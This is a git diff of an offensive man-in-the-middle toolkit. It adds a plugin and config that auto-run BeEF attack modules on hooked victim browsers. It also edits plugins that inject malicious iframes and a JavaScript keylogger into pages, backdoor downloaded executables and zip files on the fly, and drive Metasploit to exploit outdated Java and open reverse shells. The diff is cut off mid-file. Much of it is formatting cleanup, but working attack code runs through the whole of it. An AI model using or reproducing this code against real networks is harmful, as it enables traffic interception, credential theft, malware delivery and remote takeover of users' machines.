diff --git a/.gitignore b/.gitignore index e19a51b..fad281d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,3 @@ *.pyc /plugins/old_plugins/ backdoored/ -bdfactory/ diff --git a/README.md b/README.md index fb38ca7..4f1b140 100644 --- a/README.md +++ b/README.md @@ -9,6 +9,7 @@ This tool is completely based on sergio-proxy https://code.google.com/p/sergio-p Availible plugins: - Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects +- BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type - AppCachePoison - Perform app cache poison attacks - BrowserProfiler - Attempts to enumerate all browser plugins of connected clients - CacheKill - Kills page caching by modifying headers @@ -22,7 +23,7 @@ Availible plugins: So far the most significant changes have been: -- Spoof plugin is live !! Supports ICMP, ARP and DNS spoofing +- Spoof plugin now supports ICMP, ARP and DNS spoofing (DNS Spoofing code was stolen from https://github.com/DanMcInerney/dnsspoof/) - Usage of third party tools has been completely removed (e.g. ettercap) @@ -31,13 +32,17 @@ So far the most significant changes have been: - Addition of the JsKeylogger plugin +- Addition of the BeefAutorun plugin + - FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy - Added msfrpc.py for interfacing with Metasploits rpc server +- Added beefapi.py for interfacing with BeEF's RESTfulAPI + - Added Replace plugin - Addition of the app-cache poisoning attack by Krzysztof Kotowicz -- JavaPwn plugin now live! Auto-detect and exploit clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!! +- JavaPwn plugin auto-detects and exploits clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!! diff --git a/config_files/beefautorun.cfg b/config_files/beefautorun.cfg new file mode 100644 index 0000000..f48760b --- /dev/null +++ b/config_files/beefautorun.cfg @@ -0,0 +1,31 @@ +#Example config file for the BeefAutorun plugin + +mode = oneshot #can be set to loop, or oneshot + +#in loop mode the plugin will run modules on all hooked browsers every 10 seconds +#in oneshot mode the plugin will run modules only once per hooked browser + +[ALL] #Runs specified modules on all hooked browsers + +'Man-In-The-Browser'= '{}' + + +[targets] #Runs specified modules based on OS and Browser type + + [[Windows]] #Target all Windows versions using Firefox and Internet Explorer + + [[[FF]]] + 'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}' + + [[[IE]]] + 'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}' + + [[Windows 7]] #Target only Windows 7 using Chrome + + [[[C]]] + 'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}' + + [[Linux]] #Target Linux platforms using Chrome + + [[[C]]] + 'Redirect Browser (Rickroll)' = '{}' \ No newline at end of file diff --git a/libs/beefapi.py b/libs/beefapi.py index 75283eb..f9559f6 100644 --- a/libs/beefapi.py +++ b/libs/beefapi.py @@ -2,9 +2,7 @@ import requests import json from random import sample -from time import sleep from string import lowercase, digits -from unicodedata import normalize class BeefAPI: @@ -34,7 +32,7 @@ class BeefAPI: return True elif r.status_code != 200: return False - + except Exception, e: print "beefapi ERROR: %s" % e @@ -51,9 +49,9 @@ class BeefAPI: return self.get_sessions("offline", "ip") def get_sessions(self, state, value): - r = requests.get(self.hookurl).json() hooks = [] try: + r = requests.get(self.hookurl + self.token).json() for v in r["hooked-browsers"][state].items(): hooks.append(str(v[1][value])) return hooks @@ -61,77 +59,77 @@ class BeefAPI: print "beefapi ERROR: %s" % e def getModid(self, name): #Returns module id - url = self.url + "%s" % (self.token) - r = requests.get(url).json() + url = self.mod_url + self.token try: + r = requests.get(url).json() for v in r.values(): if v["name"] == name: return v["id"] - except KeyError: - print "beefapi ERROR: module '" + name + "' not found!" - return None + except Exception, e: + print "beefapi ERROR: %s" % e def getModname(self, id): #Returns module name - url = self.url + "modules?token=%s" % (self.token) - r = requests.get(url).json() + url = self.mod_url + self.token try: + r = requests.get(url).json() for v in r.values(): if v["id"] == id: return v["name"] - except KeyError: - print "beefapi ERROR: module '" + id + "' not found!" - return None + except Exception, e: + print "beefapi ERROR: %s" % e - def host2session(self, ip): # IP => Session - url = self.url + "hooks?token=%s" % (self.token) - r = requests.get(url).json() + def host2session(self, ip): #IP => Session + url = self.hookurl + self.token try: + r = requests.get(url).json() for v in r["hooked-browsers"]["online"].items(): if v[1]["ip"] == ip: return v[1]["session"] else: session = None - - if session == None: + + if session is None: for v in r["hooked-browsers"]["offline"].items(): if v[1]["ip"] == ip: return v[1]["session"] else: return None - - except KeyError: - pass - def session2host(self, session): # Session => IP - url = self.url + "hooks?token=%s" % (self.token) - r = requests.get(url).json() + except Exception, e: + print "beefapi ERROR: %s" % e + def session2host(self, session): #Session => IP + url = self.hookurl + self.token try: + r = requests.get(url).json() for v in r["hooked-browsers"]["online"].items(): if v[1]["session"] == session: return v[1]["ip"] else: ip = None - - if ip == None: + + if ip is None: for v in r["hooked-browsers"]["offline"].items(): if v[1]["session"] == session: return v[1]["ip"] else: return None - except KeyError: - pass + except Exception, e: + print "beefapi ERROR: %s" % e - def runModule(self, session, mod_id, options={}): #Executes a module on a specified session - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps(options) - url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token) - return requests.post(url, headers=headers, data=payload).json() + def runModule(self, session, mod_id, options={}): #Executes a module on a specified session + try: + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token) + return requests.post(url, headers=headers, data=payload).json() + except Exception, e: + print "beefapi ERROR: %s" % e def moduleResult(self, session, mod_id, cmd_id): url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token) return requests.get(url).json() - + def sessionInfo(self, session): #Returns parsed information on a session url = self.url + "hooks/%s?token=%s" % (session, self.token) return requests.get(url).json() diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 7ae026a..c9d5244 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -1,19 +1,20 @@ from plugins.plugin import Plugin from sslstrip.ResponseTampererFactory import ResponseTampererFactory -import threading +#import threading + class AppCachePlugin(Plugin): name = "App Cache Poison" optname = "app" desc = "Performs App Cache Poisoning attacks" has_opts = True - - def initialize(self,options): + + def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.config_file = options.tampercfg - if self.config_file == None: + if self.config_file is None: self.config_file = "./config_files/app_cache_poison.cfg" print "[*] App Cache Poison plugin online" diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py new file mode 100644 index 0000000..dd4d3cb --- /dev/null +++ b/plugins/BeefAutorun.py @@ -0,0 +1,117 @@ +from plugins.plugin import Plugin +from time import sleep +import sys +import json +import threading +import logging +import libs.beefapi as beefapi + +try: + from configobj import ConfigObj +except: + sys.exit('[-] configobj library not installed!') + +requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message +requests_log.setLevel(logging.WARNING) + + +class BeefAutorun(Plugin): + name = "BeEFAutorun" + optname = "beefauto" + has_opts = True + desc = "Autoruns BeEF modules based on Browser or OS type" + + def initialize(self, options): + self.options = options + self.autoruncfg = "./config_files/beefautorun.cfg" or options.autoruncfg + self.beefip = options.beefip + self.beefport = options.beefport + self.beefuser = options.beefuser + self.beefpass = options.beefpass + + beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport}) + if beef.login(self.beefuser, self.beefpass): + print "[*] Successfully logged in to BeEF" + else: + sys.exit("[-] Error logging in to BeEF!") + + userconfig = ConfigObj(self.autoruncfg) + self.Mode = userconfig['mode'] + if self.Mode == 'oneshot': + print '[*] Setting mode to oneshot' + elif self.Mode == 'loop': + print '[*] Setting mode to loop' + else: + sys.exit("[-] Error: unrecognized mode set in config file") + + self.All_modules = userconfig["ALL"] + self.Targeted_modules = userconfig["targets"] + + print "[*] BeEFAutorun plugin online" + t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) + t.setDaemon(True) + t.start() + + def autorun(self, beef): + already_hooked = [] + already_ran = [] + while True: + sessions = beef.onlineSessions() + if (sessions is not None) and (len(sessions) > 0): + for session in sessions: + session_ip = beef.session2host(session) + if session not in already_hooked: + logging.info("%s >> joined the horde!" % session_ip) + already_hooked.append(session) + + if self.Mode == 'oneshot': + if session not in already_ran: + self.execModules(session, session_ip, beef) + already_ran.append(session) + + elif self.Mode == 'loop': + self.execModules(session, session_ip, beef) + sleep(10) + + else: + sleep(1) + + def execModules(self, session, session_ip, beef): + session_browser = beef.sessionInfo(session)["BrowserName"] + session_os = beef.sessionInfo(session)["OsName"] + + if len(self.All_modules) > 0: + logging.info("%s >> sending generic modules" % session_ip) + for module, options in self.All_modules.items(): + mod_id = beef.getModid(module) + resp = beef.runModule(session, mod_id, json.loads(options)) + if resp["success"] == 'true': + logging.info('%s >> sent module %s' % (session_ip, mod_id)) + else: + logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + sleep(0.5) + + logging.info("%s >> sending targeted modules" % session_ip) + for os in self.Targeted_modules: + if (os in session_os) or (os == session_os): + browsers = self.Targeted_modules[os] + if len(browsers) > 0: + for browser in browsers: + if browser == session_browser: + modules = self.Targeted_modules[os][browser] + if len(modules) > 0: + for module, options in modules.items(): + mod_id = beef.getModid(module) + resp = beef.runModule(session, mod_id, json.loads(options)) + if resp["success"] == 'true': + logging.info('%s >> sent module %s' % (session_ip, mod_id)) + else: + logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + sleep(0.5) + + def add_options(self, options): + options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]") + options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]") + options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]') + options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]') + options.add_argument('--autoruncfg', type=file, help='Specify a config file [default: beefautorun.cfg]') diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index de9e404..752b77c 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -3,20 +3,21 @@ from plugins.Inject import Inject from pprint import pformat import logging + class BrowserProfiler(Inject, Plugin): name = "Browser Profiler" optname = "browserprofiler" desc = "Attempts to enumerate all browser plugins of connected clients" - implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"] + implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] has_opts = False - def initialize(self,options): + def initialize(self, options): Inject.initialize(self, options) self.html_payload = self.get_payload() - self.dic_output = {} # so other plugins can access the results + self.dic_output = {} # so other plugins can access the results print "[*] Browser Profiler online" - def post2dict(self, string): #converts the ajax post to a dic + def post2dict(self, string): #converts the ajax post to a dic dict = {} for line in string.split('&'): t = line.split('=') @@ -27,7 +28,7 @@ class BrowserProfiler(Inject, Plugin): #Handle the plugin output if 'clientprfl' in request.uri: self.dic_output = self.post2dict(request.postData) - self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client + self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client pretty_output = pformat(self.dic_output) logging.warning("%s Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) @@ -103,4 +104,4 @@ function make_xhr(){ } """ - return payload \ No newline at end of file + return payload diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index b33f82e..ad130a4 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -1,24 +1,25 @@ from plugins.plugin import Plugin + class CacheKill(Plugin): name = "CacheKill Plugin" optname = "cachekill" desc = "Kills page caching by modifying headers" - implements = ["handleHeader","connectionMade"] + implements = ["handleHeader", "connectionMade"] has_opts = True - bad_headers = ['if-none-match','if-modified-since'] - - def add_options(self,options): + bad_headers = ['if-none-match', 'if-modified-since'] + + def add_options(self, options): options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).") - - def handleHeader(self,request,key,value): + + def handleHeader(self, request, key, value): '''Handles all response headers''' request.client.headers['Expires'] = "0" request.client.headers['Cache-Control'] = "no-cache" - - def connectionMade(self,request): + + def connectionMade(self, request): '''Handles outgoing request''' request.headers['Pragma'] = 'no-cache' for h in self.bad_headers: if h in request.headers: - request.headers[h] = "" + request.headers[h] = "" diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 5453cff..af7c88a 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -2,7 +2,8 @@ # 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy ################################################################################################# -import sys, os +import sys +import os import pefile import zipfile import logging @@ -18,6 +19,7 @@ try: except: sys.exit('[-] configobj library not installed!') + class FilePwn(Plugin): name = "FilePwn" optname = "filepwn" @@ -33,13 +35,10 @@ class FilePwn(Plugin): elif aString.lower() == 'none': return None - def initialize(self,options): + def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - self.filepwncfg = options.filepwncfg - - if self.filepwncfg == None: - self.filepwncfg = "./config_files/filepwn.cfg" + self.filepwncfg = "./config_files/filepwn.cfg" or options.filepwncfg self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] @@ -48,7 +47,7 @@ class FilePwn(Plugin): #NOT USED NOW #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - + self.userConfig = ConfigObj(self.filepwncfg) self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] @@ -163,7 +162,7 @@ class FilePwn(Plugin): except Exception as e: logging.warning("EXCEPTION IN binaryGrinder %s", str(e)) return None - + def zipGrinder(self, aZipFile): "When called will unpack and edit a Zip File and return a zip file" @@ -262,9 +261,9 @@ class FilePwn(Plugin): os.remove(tmpFile) return aZipFile - - def handleResponse(self,request,data): - + + def handleResponse(self, request, data): + content_header = request.client.headers['Content-Type'] if content_header in self.zipMimeTypes: @@ -272,25 +271,25 @@ class FilePwn(Plugin): bd_zip = self.zipGrinder(data) if bd_zip: logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP()) - return {'request':request,'data':bd_zip} + return {'request': request, 'data': bd_zip} elif content_header in self.binaryMimeTypes: logging.info("%s Detected supported binary type!" % request.client.getClientIP()) fd, tmpFile = mkstemp() with open(tmpFile, 'w') as f: f.write(data) - + patchb = self.binaryGrinder(tmpFile) if patchb: bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() os.remove('./backdoored/' + os.path.basename(tmpFile)) logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP()) - return {'request':request,'data':bd_binary} + return {'request': request, 'data': bd_binary} else: logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header)) - return {'request':request,'data':data} + return {'request': request, 'data': data} def add_options(self, options): - options.add_argument("--filepwncfg", type=file, help="Specify a config file") \ No newline at end of file + options.add_argument("--filepwncfg", type=file, help="Specify a config file") diff --git a/plugins/Inject.py b/plugins/Inject.py index 92203cf..344b5b0 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -1,16 +1,21 @@ -import os,subprocess,logging,time,re +#import os +#import subprocess +import logging +import time +import re import argparse from plugins.plugin import Plugin from plugins.CacheKill import CacheKill -class Inject(CacheKill,Plugin): + +class Inject(CacheKill, Plugin): name = "Inject" optname = "inject" - implements = ["handleResponse","handleHeader","connectionMade"] + implements = ["handleResponse", "handleHeader", "connectionMade"] has_opts = True desc = "Inject arbitrary content into HTML content" - - def initialize(self,options): + + def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.html_src = options.html_url @@ -25,7 +30,7 @@ class Inject(CacheKill,Plugin): self.implements.remove("handleHeader") self.implements.remove("connectionMade") - if options.html_file != None: + if options.html_file is not None: self.html_payload += options.html_file.read() self.ctable = {} @@ -34,21 +39,19 @@ class Inject(CacheKill,Plugin): self.mime = "text/html" print "[*] Inject plugin online" - - def handleResponse(self,request,data): + def handleResponse(self, request, data): #We throttle to only inject once every two seconds per client #If you have MSF on another host, you may need to check prior to injection #print "http://" + request.client.getRequestHostname() + request.uri - ip,hn,mime = self._get_req_info(request) - if self._should_inject(ip,hn,mime) and \ - (not self.js_src==self.html_src==None or not self.html_payload==""): + ip, hn, mime = self._get_req_info(request) + if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""): - data = self._insert_html(data,post=[(self.match_str,self._get_payload())]) + data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) self.ctable[ip] = time.time() self.dtable[ip+hn] = True - self.count+=1 + self.count += 1 logging.info("%s [%s] Injected malicious html" % (request.client.getClientIP(), request.headers['host'])) - return {'request':request,'data':data} + return {'request': request, 'data': data} else: return @@ -57,46 +60,49 @@ class Inject(CacheKill,Plugin): def add_options(self,options): options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") - options.add_argument("--html-url",type=str,help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload",type=str,default="",help="String you would like to inject.") - options.add_argument("--html-file",type=argparse.FileType('r'),default=None,help="File containing code you would like to inject.") - options.add_argument("--match-str",type=str,default="",help="String you would like to match and place your payload before. ( by default)") - options.add_argument("--per-domain",action="store_true",help="Inject once per domain per client.") - options.add_argument("--rate-limit",type=float,help="Inject once every RATE_LIMIT seconds per client.") - options.add_argument("--count-limit",type=int,help="Inject only COUNT_LIMIT times per client.") - options.add_argument("--preserve-cache",action="store_true",help="Don't kill the server/client caching.") + options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") + options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") + options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.") + options.add_argument("--match-str", type=str, default="", help="String you would like to match and place your payload before. ( by default)") + options.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") + options.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") + options.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.") + options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") - def _should_inject(self,ip,hn,mime): - if self.count_limit==self.rate_limit==None and not self.per_domain: + def _should_inject(self, ip, hn, mime): + if self.count_limit == self.rate_limit is None and not self.per_domain: return True - if self.count_limit != None and self.count > self.count_limit: + + if self.count_limit is not None and self.count > self.count_limit: #print "1" return False - if self.rate_limit != None: - if ip in self.ctable and time.time()-self.ctable[ip]'%(self.html_src) + if self.html_src is not None: + return '' % (self.html_src) return '' def _get_js(self): - if self.js_src != None: - return ''%(self.js_src) + if self.js_src is not None: + return '' % (self.js_src) return '' - def _insert_html(self,data,pre=[],post=[],re_flags=re.I): + def _insert_html(self, data, pre=[], post=[], re_flags=re.I): ''' To use this function, simply pass a list of tuples of the form: @@ -107,11 +113,13 @@ class Inject(CacheKill,Plugin): The pre array will have the match in front of your injected code, the post will put the match behind it. ''' - pre_regexes = [re.compile(r"(?P"+i[0]+")",re_flags) for i in pre] - post_regexes = [re.compile(r"(?P"+i[0]+")",re_flags) for i in post] - - for i,r in enumerate(pre_regexes): - data=re.sub(r,"\g"+pre[i][1],data) - for i,r in enumerate(post_regexes): - data=re.sub(r,post[i][1]+"\g",data) + pre_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in pre] + post_regexes = [re.compile(r"(?P"+i[0]+")", re_flags) for i in post] + + for i, r in enumerate(pre_regexes): + data = re.sub(r, "\g"+pre[i][1], data) + + for i, r in enumerate(post_regexes): + data = re.sub(r, post[i][1]+"\g", data) + return data diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index a8620a5..517c8c4 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -6,13 +6,17 @@ import string import random import threading import logging -import sys, os +import sys try: from configobj import ConfigObj except: sys.exit('[-] configobj library not installed!') +requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message +requests_log.setLevel(logging.WARNING) + + class JavaPwn(BrowserProfiler, Plugin): name = "JavaPwn" optname = "javapwn" @@ -26,28 +30,24 @@ class JavaPwn(BrowserProfiler, Plugin): self.msfport = options.msfport self.rpcip = options.rpcip self.rpcpass = options.rpcpass - self.javapwncfg = options.javapwncfg + self.javapwncfg = './config_files/javapwn.cfg' or options.javapwncfg if not self.msfip: sys.exit('[-] JavaPwn plugin requires --msfip') - if not self.javapwncfg: - self.javapwncfg = './config_files/javapwn.cfg' - self.javacfg = ConfigObj(self.javapwncfg) self.javaVersionDic = {} for key, value in self.javacfg.iteritems(): self.javaVersionDic[float(key)] = value - - self.sploited_ips = [] # store ip of pwned or not vulnarable clients so we don't re-exploit + self.sploited_ips = [] #store ip of pwned or not vulnarable clients so we don't re-exploit try: - msf = msfrpc.Msfrpc({"host" : self.rpcip}) #create an instance of msfrpc libarary + msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', self.rpcpass) version = msf.call('core.version')['version'] - print "[*] Succesfully connected to Metasploit v%s" % version + print "[*] Successfully connected to Metasploit v%s" % version except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") @@ -57,110 +57,109 @@ class JavaPwn(BrowserProfiler, Plugin): print "[*] JavaPwn plugin online" t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) t.setDaemon(True) - t.start() #start the main thread + t.start() #start the main thread - def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) + def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) - def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic + def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic v = version.split(".") return float(v[0] + "." + "".join(v[-(len(v)-1):])) - def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions + def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions #inject iframe logging.info("%s >> now injecting iframe to trigger exploit" % client_ip) self.html_payload = "" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects - + logging.info('%s >> waiting for ze shells, Please wait...' % client_ip) - + exit = False i = 1 - while i <= 30: #wait max 60 seconds for a new shell - if exit == True: + while i <= 30: #wait max 60 seconds for a new shell + if exit: break - shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions + shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions if len(shell) > 0: - for k,v in shell.items(): - if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted + for k, v in shell.items(): + if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted logging.info("%s >> Got shell!" % client_ip) - self.sploited_ips.append(client_ip) #target successfuly exploited + self.sploited_ips.append(client_ip) #target successfuly exploited exit = True break sleep(2) - i+=1 - - if exit == False: #We didn't get a shell + i += 1 + + if exit is False: #We didn't get a shell logging.info("%s >> session not established after 30 seconds" % client_ip) - - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin + self.html_payload = self.get_payload() # restart the BrowserProfiler plugin def pwn(self, msfinstance): while True: - if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled - - brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format - - if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited + if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled + + brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format + + if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited vic_ip = brwprofile['ip'] - client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float + client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version'])) logging.info("%s >> Choosing exploit based on version string" % vic_ip) - min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version - - if client_version < min_version: #since the two version strings are now floats we can use the < operand - - exploit = self.javaVersionDic[min_version] #get the exploit string for that version - + min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version + + if client_version < min_version: #since the two version strings are now floats we can use the < operand + + exploit = self.javaVersionDic[min_version] #get the exploit string for that version + logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploit)) msf = msfinstance - - #here we check to see if we already set up the exploit to avoid creating new jobs for no reason - jobs = msf.call('job.list') #get running jobs - if len(jobs) > 0: - for k,v in jobs.items(): - info = msf.call('job.info', [k]) - if exploit in info['name']: - logging.info('%s >> %s exploit already started' % (vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - self.injectWait(msf, url, vic_ip) - - else: #here we setup the exploit - rand_url = self.rand_url() # generate a random url - rand_port = random.randint(1000, 65535) # generate a random port for the payload listener - + #here we check to see if we already set up the exploit to avoid creating new jobs for no reason + jobs = msf.call('job.list') #get running jobs + if len(jobs) > 0: + for k, v in jobs.items(): + info = msf.call('job.info', [k]) + if exploit in info['name']: + logging.info('%s >> %s exploit already started' % (vic_ip, exploit)) + url = info['uripath'] #get the url assigned to the exploit + self.injectWait(msf, url, vic_ip) + + else: #here we setup the exploit + rand_url = self.rand_url() #generate a random url + rand_port = random.randint(1000, 65535) #generate a random port for the payload listener + + #generate the command string to send to the virtual console #new line character very important as it simulates a user pressing enter - cmd = "use exploit/multi/browser/%s\n" % exploit + cmd = "use exploit/multi/browser/%s\n" % exploit cmd += "set SRVPORT %s\n" % self.msfport cmd += "set URIPATH %s\n" % rand_url - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!) cmd += "set LHOST %s\n" % self.msfip cmd += "set LPORT %s\n" % rand_port cmd += "exploit -j\n" - + logging.debug("command string:\n%s" % cmd) try: - logging.info("%s >> sending commands to metasploit" % vic_ip) - + logging.info("%s >> sending commands to metasploit" % vic_ip) + #Create a virtual console console_id = msf.call('console.create')['id'] #write the cmd to the newly created console msf.call('console.write', [console_id, cmd]) - + logging.info("%s >> commands sent succesfully" % vic_ip) except Exception, e: logging.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e)) - self.injectWait(msf, rand_url, vic_ip) + self.injectWait(msf, rand_url, vic_ip) else: logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip) self.sploited_ips.append(vic_ip) @@ -175,17 +174,17 @@ class JavaPwn(BrowserProfiler, Plugin): options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]') options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]') options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]') - options.add_argument('--javapwncfg', type=file, help='Specify a config file') + options.add_argument('--javapwncfg', type=file, help='Specify a config file [default: javapwn.cfg]') def finish(self): '''This will be called when shutting down''' msf = msfrpc.Msfrpc({"host": self.rpcip}) msf.login('msf', self.rpcpass) - + jobs = msf.call('job.list') if len(jobs) > 0: print '[*] Stopping all running metasploit jobs' - for k,v in jobs.items(): + for k, v in jobs.items(): msf.call('job.stop', [k]) consoles = msf.call('console.list')['consoles'] diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index 3fa0b53..cd30d99 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -2,14 +2,15 @@ from plugins.plugin import Plugin from plugins.Inject import Inject import logging + class jskeylogger(Inject, Plugin): name = "Javascript Keylogger" optname = "jskeylogger" desc = "Injects a javascript keylogger into clients webpages" - implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"] + implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] has_opts = False - def initialize(self,options): + def initialize(self, options): Inject.initialize(self, options) self.html_payload = self.msf_keylogger() print "[*] Javascript Keylogger plugin online" @@ -105,4 +106,4 @@ if (var3 == 13 || var2.length > 3000) } """ - return payload \ No newline at end of file + return payload diff --git a/plugins/Replace.py b/plugins/Replace.py index 50238d6..d250826 100644 --- a/plugins/Replace.py +++ b/plugins/Replace.py @@ -1,23 +1,28 @@ -import os,subprocess,logging,time,re -import argparse +#import os +#import subprocess +import sys +import logging +import time +import re from plugins.plugin import Plugin from plugins.CacheKill import CacheKill -class Replace(CacheKill,Plugin): + +class Replace(CacheKill, Plugin): name = "Replace" optname = "replace" - implements = ["handleResponse","handleHeader","connectionMade"] + implements = ["handleResponse", "handleHeader", "connectionMade"] has_opts = True desc = "Replace arbitrary content in HTML content" - - def initialize(self,options): + + def initialize(self, options): self.options = options self.search_str = options.search_str self.replace_str = options.replace_str self.regex_file = options.regex_file - if (self.search_str==None or self.search_str=="") and self.regex_file is None: + if (self.search_str is None or self.search_str == "") and self.regex_file is None: sys.exit("[*] Please provide a search string or a regex file") self.regexes = [] @@ -33,47 +38,46 @@ class Replace(CacheKill,Plugin): self.ctable = {} self.dtable = {} self.mime = "text/html" - + print "[*] Replace plugin online" - def handleResponse(self,request,data): - ip,hn,mime = self._get_req_info(request) + def handleResponse(self, request, data): + 